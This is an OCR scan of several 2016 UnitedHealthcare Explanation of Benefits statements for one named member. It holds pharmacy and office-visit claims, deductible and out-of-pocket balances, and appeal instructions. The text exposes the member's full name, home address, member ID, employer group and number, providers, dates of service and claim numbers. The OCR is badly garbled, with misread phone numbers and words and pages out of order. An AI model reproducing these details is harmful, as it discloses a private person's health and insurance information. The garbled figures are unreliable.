Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located Jn the following page(s). I '~ :, . $7,892.42, $3,628.98 Plan Discounts • , .,0 • , _; • -• • • i Ii ' 1 ·' •· • • Your plan negotiates discounts with ·PfOvid~rs b;>l•save Y,OU mo~ey. services that you are not responsible lo~pay. ~ .. ; . ... I ;~ .. This amount may.also indude · .,••• $4,263.44 Your Plan Paid• . _ ,_; This is the portion of the amount billed tha,twas . id by your plan. . . . . -:-r" • ~ STD-EOB Page 1 of 5 Use this EOB statement as a reference or retain as needed 000001070456223 United HealthCare Services,.. Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTAA GA 30374-0802 Phone: 1-o00-638-8884 S WQ.15464-04"072932-M0-16082-60311-AFUS 32SYMS UnitedHealthcare QJ AL.W!l!dHolllh~~ March 22, 2016 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Definitions of Key Terms Deductible: The deductible is the f1Xed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Page 8 of 8 Use this EOB statement as a reference or retain as needed 000000936025973 S WQ-15464"04-07:!931-M0-16082-6l311-AFUS 32SYMS UnitedHealthcare flllA-Oa.(>~ United HealthCare Services;. Inc. March 22, 2016 GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA.., GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Maintaining the privacy and seculity of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance FAMILY Annual Amount (-)Applied to Date (=) Remaining Balance Relationship: EE IN NElWORK· } I il IT, Deductible $1,400.00 $700.00 $700.00 Deductible $700.00 $700.00 Met Out of Pocket $10,000.00 $3,209.43 $6,790.57 Out of Pocket -$5,000.00 $3,209.43 $1,790.57 ,91.JT _OF NETWORK .....,,.,~ -· •1 OUT OF NETWORK .. ,:::.: •• < Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. this EOB statement. STD-EOB Page 7 of 8 Use this EOB statement as a reference or retain as needed S W0-15464"00"072930-M0-16082-60311-AFUS 32SYMS UnitedHealthcare I],! A~~~ United HealthCare Services.,_ Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 March 22, 2016 ATLANTA, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the light to file a civil action under ERISA if all required reviews of your claim have been completed. You or your autholized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Seculity Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescliptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance JD card (first name, last name, member ID, group number and date of birth). STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of 8 000000930025973 swa.15-484'03'072929-M0-16082-60311-AFUS 32SYMS UnitedHealthcare IJJA-lil>.l>i:.,,,p.,, United HealthCare SeNices.i.. Inc. March 22, 2016 GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTAA GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 961370047301 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes• Amount Plan Your Plan' Service Billed (-) Discounts (-) ; Pai<!, (=) 03/20/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Claim Number: 961475018301 Patient Account Number: CAR PHARMACY CLM Provider: Pharmacy -This total does not reflect any payments I copays you made at the time of service. Date(s) of Type of Service Note~ Amount--Plan---Your Plan:.. Service Billed (·) Discounts (-) Paid (=) **This total does not reflect any payments I copays you made at the time ofservice. Please wait for a provider bill before making a payment. Notes* FB -THIS CLAIM WAS PROCESSED BY THE PHARMACY DRUG BENEFIT PROGRAM. THIS ONLY SHOWS THE AMOUNT YOU PAID FOR THIS PRESCRIPTION. IT DOES NOT SHOWTHE TOTAL COST OF THE PRESCRIPTION DRUG OR AMOUNT PAID BY THE PLAN. WE APPLIED THIS AMOUNT TO YOUR PLAN DEDUCTIBLE ANO/OR OUT OF POCKET/COINSURANCE MAXIMUM. IF YOU HAVE QUESTIONS RELATED TO THIS PHARMACY CLAIM, PLEASE CONTACT YOUR PHARMACY DRUG BENEFIT PROGRAM. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P .0. Box 30432, Salt STO-EOB Page 5 of 8 Use this EOB statement as a reference or retain as needed SWO-15464"02'07292B-MO-15082-&l311-AFUS 32SYMS UniredHealthcareOI A-~~ United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER PO BOX 7 40809 March 22, 2016 ATLANTA;, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 961220520901 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider"" Date(s) of Type of Service Notes• Amount Plan Your Plan- Amount You Service Billed (-) Discounts (-) Paid Deductible (T) Copay (+) Coinsurance (+) Non Covered (=) Owe **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 961367538001 Patient Account Number: CAR PHARMACY CLM Your Itemized Re onsibilit to Provider** Date(s) of Type of Service Notes• Amount Plan Your Plan -AmoLJnt You Service Billed H Discounts (-) = Paid · Deductible (+) Copay (+) Coinsurance (+) Non Covered(=) Owe STD-EOB Page 4of 8 Use this EOB statement as a reference or retain as needed SWC-15464'02"072927-MO-16082-&1311-AfUS 32SVMS UnitedHe.althrare ,A-~~ United HealthCare Services;.. Inc. March 22, 2016 GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information_ Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 961217612101 Patient Account Number: CAR PHARMACY CLM Your Itemized Responsibility to Provider"* Date(s) of Type of Service Notes• Amount Plan Your Plan Amount You Service Billed (-) Discounts H, Paid , · :(=) Deductible (+) Copay (+) Coim,ura11ce (+) Nun Covered(-') Owe ..• j *"'This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment Claim Detail for JEFFREY DAMUKAITIS Claim Number: 961217980701 Patient Account Number: CAR PHARMACY CLM Provider: Pharmacy Date(s) of Type of Service Notes* Amount Plan -Your·Plan-Service Billed (-) Discounts (-} .Paid ' (=) 03/17/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS $0.00 $0.00 $0.00 Claim Total: STO-EOB Page 3 of$ Use this EOB statement as a reference or retain as needed SWQ-15464'01'072926-M0-16082.al311-AFUS 32SYMS UnitedHealthcare 11111 UIA-~Q,,-, United HealthCare Services;.. Inc. GREENSBORO SERVICE l-ENTER March 22, 2016 PO BOX 740809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 960996243001 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes• Amount Plan . VourPlan I Amount You Service Billed (-) Discounts (-) • Paid r (=) Dt::ductible (+) Copay (+) Coinsurance (~) Non Covered (=) Owe •~! . -•!. •*This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 961060643801 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider•• Date(s) of Type of Service Notes• Amount Plan f Yoqr Plan I Amount You Service Billed (-) Discounts (-) ~-..-l a1~ (=) Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) Owe 03/16/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 $0.00 $30.21 $0.00 $0.00 $30.21 '"*This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. STD•EOB Use this EOB statement as a reference or retain as needed Page 2 of 8 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 I S WQ-15464'01•072925.MQ.16082-60311-AFUS 31SYMS I UnitedHealthcar'5 ~ A lkitedHealth 6rot4) Corrf)any Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. March 22, 2016 OPS$$$PKG JEFFREY DAMUKAITIS Member/Patient lnfonnation 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 111II I1111 •••I•'11 II I1•I111II II 11111 •I11111111,..,I,11 II 111111 ••1 Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. I Claims Summary Detailed claim information is located oh the following page(s). ··:·-~; RoUat~-"l~~-~tt,~Jcji,f~~-~=;:~:t~~=~::~·-=~~--"~~·:·-1·,; ··-':-~::~'.'·:·~t·"~'-~?~,~~~~·:,~;/' ~~;.[;:J'.~ft ·. Amount BiHed :.· , i, · . . _"· ..,, ... •· ,· I-, ., ,--. _.· .. ·, -·.. i· ·· !.,(-.,,, .'~i.' .,, .: · $0.00 _· ThiS'is the total -m?u.nt that ~ur p~vkfer_bl1~ed ~rJhe.iervitjes ttiatwereJ.)f?~~ ,o you:: ·>.~;0 '/;: .,;; . ~ · ..·Plan Qi$~QUnts .•; :., . ; ; ·• : '. ·. ''l ·" ·' . ,;,_ -,·.': , • ;.-_. •··· • • i1, ..,,. ·-'• ·. ,, t,::,. ..-:;,'_::.,. 1 .,·,z·-. ~ . _ -i. -$0.00.,: Your plan neg9tl~~ dis~u.nts wlfi'providers to a_ve,you money/ This amount n,ata!so-lnclude_; ··.· ,. ,:A·;_,, ..i.ii,;i,, .,.~ryicesthatyou,are:nofresponsible_to 'pay. · .• "':'··'': : i'; _; ' ..:r._''·,·,·,,_•:· ,'.":'':': (··:·/;.~: .. -·-·~-. ' ' . . . . •· -~. ..:: ' •; . . -: STD-EOB Page 1 of 8 Use this EOB statement as a referencl or retain as needed 000000936025973 SWL-22S30"07'116480-M0-16027-E0311-llfUS 22SYMS United HealthCare Services,._Inc. GREENSBORO SERVICE vENTER January 27, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of ~ocket Plan Year; 2015 JEFFREY Relationship: EE Annual Amount (-)Applied to Date (=)Remaining Balance - - Deductible $700.00 $700.00 Met Out of Pocket $5,000.00 $4,853.07 $146.93 ' . :1 : Jr !;; 10UT.OF. NETWORK .. Deductible $1,400.00 $660.01 $739.99 Out of Pocket $7,500.00 $660.01 $6,839.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Plan Year: The dates your plan benefit maximums are applicable. Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance IN NElWORJ( ... Deductible $1,400.00 $700.00 $700.00 Out of Pocket $10,000.00 $6,216.01 $3,783.99 OUT OF NETWORK --~ : t'~ ,~ ' ,::• ' ' J.!! • JI ... - F:·•l Deductible $2,800.00 $660.01 $2,139.99 Out of Pocket $15,000.00 $660.01 $14,339.99 Deductible: The deductible is the f1Xed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Patient Non Covered The amount of money you pay for services that are not covered under your plan. STO-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 0000008895361~ 1 S WL-22530'02'116479-M0-160:27-60311-~US 22SYMS United HealthCare Services ..... Inc. GREENSBORO SERVICE 1.JENTER January 27, 2016 PO BOX 740809 ATLANTA"' GA 30374-0802 Have more questions about your claim? Phone: 1Mo00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com EMmail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infonnation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. -~ Myuhc Registration_ ~ ______ You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infonnation required for registration is on your insurance ID card-­(first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal infonnation is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S W\.,22530'01"116478-M0-16027-60311-AFUS 22SYMS UnitedHealthc.are llll A-D<>c>~ United HealthCare Seivices,1,.Inc. GREENSBORO SERVICE \.JENTER January 27, 2016PO BOX 740809 ATLANTA;.GA 30374-0802 Have more questions about your claim? Phone: 1-00~638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: SANTAELLA SURGICAL Claim Number: 578447240401 Patient Account Number: 7274 Date(s) of Type of Service Notes* Amount Plan Your Plan· 7 Amount You Service Billed (-) Discounts Paid' (0 ) Deductible (+) Copay (+) Coinsurance (+J Non Coverea (=) Owe 12/0712015 OFFICE VISITS 29 $200.00 $0.00 $0.00 Claim Total: $200.00 $0.00 $0.00 ..This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* 29 -YOUR PLAN COVERS THE ELIGIBLE EXPENSE AMOUNT REIMBURSABLE UNDER YOUR PLAN FOR COVERED OUT-OF-NETWORK HEAL TH SERVICES. TI-iE ELIGIBLE AMOUNT IS BASED ON A DATABASE OF COMPETITIVE FEES FOR SIMILAR SERVICES OR SUPPLIES IN YOUR AREA. BENEFITS ARE NOT AVAILABLE FOR TI-iAT PORTION OF THE CHARGE THAT EXCEEDS THE ELIGIBLE AMOUNT DETERMINED FOR THIS SERVICE. You have the right to receive, upon request and free of charge, a copy of the internal rule, guideline or protocol that we relied upon in making the non-coverage decision for your claim. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 8413~0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000000889538141 United HealthCare Services,,, Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 027MEOBSW2002003-08642-01 JEFFREY DAMUKAITIS 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 I I S WL-22530"01'116'177-M0-16027-60311-AFUS 21SYMS j UnitedHealthcare ~ A l.111~ Group Cc,npao,y Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. January 27, 2016 Member/Patient lnfonnation Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201 057 STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000000889536141 \ ­ S WG-04297"03"021317-MO-16270-00311-AFUS 42SYCP United.Healthcare IWA-r...,,ra,...,. United HealthCare Services,1,.Inc. GREENSBORO SERVICE 1..,ENTER September 26, 2016 PO BOX 740809 ATLANTA..,GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 AnnualJEFFREY Amount Relationship: EE (-)Applied to Date (=)Remaining Balance FAMILY IN.NETWORK Annual Amount (-)Applied to Date (=)Remaining Balance IN NElWORK -.., Deductible $1,400.00 $700.00 $700.00 Deductible $700.00 $700.00 Met Out of Pocket $10,000.00 $5,000.00 $5,000.00 Out of Pocket $5,000.00 $5,000.00 Mel OUT OF NEJVYORK OUT OFNETWORK . . , :· ' Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. STD-EOB S WG-04297•02"021316-MO.16270-60311 ·AFUS 42SYCP UnitedHealthcare l]JJ AtHmlldh~lbrtwi, United HealthCare Services,,_lnc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 September 26, 2016 ATLANTA,. GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a networi< physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 5 S WG~297'02'021315•MO-16270-60311-AFUS ~2SYCP Unit.ed.HealthcareGIA"""'-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER September 26, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: G POWELL Claim Number: 615120537901 Patient Account Number: MK030974 Your Itemized Res onsibili to Provider** Amount You Date(s) of Type of Service Notes• Amount Plan · -Your Pian Service Billed (-) Discounts (-) Paid . . (=) Deductible (+) Coµay (+) Coinsurance (+) Non Covered (=) Owe 09/14/2016 OFFICE VISITS D1 $175.00 $96.08 $78.92 Claim Total: 176.00 $96.08 $78.92 -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOVVN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEAL TH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU 0~ MAY INCLUDE \NHATYOU NEED TO PAY IFYOU HAVE REACHED A BENEFIT LIMITON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER ~BSITE OR PLAN DOCUMENTS. _ _ A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be ma e w1tfim 180 days from the date youreceive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STO-EOB Page 3 of 5 Use this EOB statement as a reference or retain as needed United HealthCare Services;.. Inc. GREENSBORO SERVICE ~ENTER PO BOX 740809 ATLANTA.i. GA 30374-0802 Phone; 1-o00-638-8884 S WG-04297'01'021314-MO-16270-tl0311-AFUS 42SYCP -111 Unit.edHealthcare t}jlA-~~ September 26, 2016 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: HEALOGIC SPECIAL TY Claim Number: 614258172001 Patient Account Number: 506995V9451 Date(s) of Type of Service Notes• Amount Plan Service Billed (-) Discounts (-) ' 06/17/2016 OFFICE VISITS D1 $200.00 $144.35 Claim Total: $200.00 $144.35 Claim Detail for JEFFREY DAMUKAITIS Provider: D MEYER Claim Number: 614486618601 Your Itemized Res onsibili to Provider• Amount You Ded..ictible (-r) Copay (+) Coinsurance (+) II.on Covered (=) ..This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Patient Account Number: DAMUKIO00O Your Itemized Res onslbility to Provide~• Date(s) of Type of Service Notes• Amount Plan . Your Plan Amount You Service Billed (-) Discounts (-) f Paid - Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) Owe 08/31/2016 OFFICE VISITS D1 $140.00 $77.75 $62.25 $0.00 $0.00 $0.00 $0.00 ~ 08/31/2016 MEDICAL D1 $90.00 $43.50 $46.50 , I I I SERVICES Claim Total: $230.00 $121.25 $108.75 $0.00 $0.00 $0.00 $0.00 $0.00 -This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment STD-EOB Page 2 of 5 Use this EOB statement as a reference or retain as needed 000001078704364 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. September 26, 2016 JEFFREY DAMUKAITIS Member/Patient lnfonnation 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located on the following page(s). 'L£ :'':: :-:r~--,---4i-~~~~~~-~•v 7 };. . $605.00 _ This is the total amount that your provider billed for the services lhat were provided to you. ·-~ . ,__ '--. . . 1 =:·" :_. ;~·--· _ Plan Discounts .. l. _ _ , 1 ·•1/f--:,~-;IT~. -;:s-0 $361.68 Your plan nego,iate.sfd.is~nts with p_roviders to· ~ye you money. Thjs-amoun_t may alsQ inclu~e _cc ·i,--'~: :'',: .·. . ~eNices that you a~ not responsible to pay. · : "'" . . , , ~ -" --;_ • I Your Pl.an Paid ----J · ­'I, This is the portion of-the amou:nt billed Jllat W!iS paid by your plan. _ '... t: 1 -; • -• , --J • -• STD-EOB Page 1 of 5 Use this EOB statement as a reference or retain as needed 000001078704864 S v1.10304'02"050326-MO, 16004-00311,AFUS 22SVCP UnitedHealthcare fll)A-""""0,,,...., United HealthCare Services;.. Inc. GREENSBORO SERVICE 1..,ENTER January 04, 2016 PO BOX 740809 ATLANTA" GA 3037 4-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE IN NETWORK IN NETWORK ,. ··--~ I ~-• Deductible $1,400.00 $700.00 $700.00 Deductible $70o.OO $700.00 Mel Out of Pocket $10,000.00 $5,000.00 $5,000.00 $5,000.00 $5,000.00 Met Out of Pocket ·out oi=\ NETWORK OUT. OF NETWORK·­ $2,800.00 $247.01 $2,552.99 Deductible $1,400.00 $247.01 $1,152.99 $15,000.00 $247.01 $14,752.99 Deductible Out of Pocket Out of Pocket $7,500.00 $247.01 $7,252.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out ofPocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the f1Xed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 000000871702921 S V1-10304'02'050325-M0-10004-!11311-AFUS 22SYCP UnitedHealthcare ~A-0...,ea,.,.,. 0 0 ... United HealthCare Services.i. Inc. ;:: mGREENSBORO SERVICE vENTER 0 January 04, 2016 PO BOX 740809 ATLANTA,,, GA 3037 4-0802 Have more questions about your claim? I Phone: 1-o00-638-8884 Visit www.myuhc.com ~ 0 for all your claim and benefit infom,ation. 0 .... 8 .... P.O. Box 149104 "' .... 6 .., Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds mi!!ions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infom,ation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of 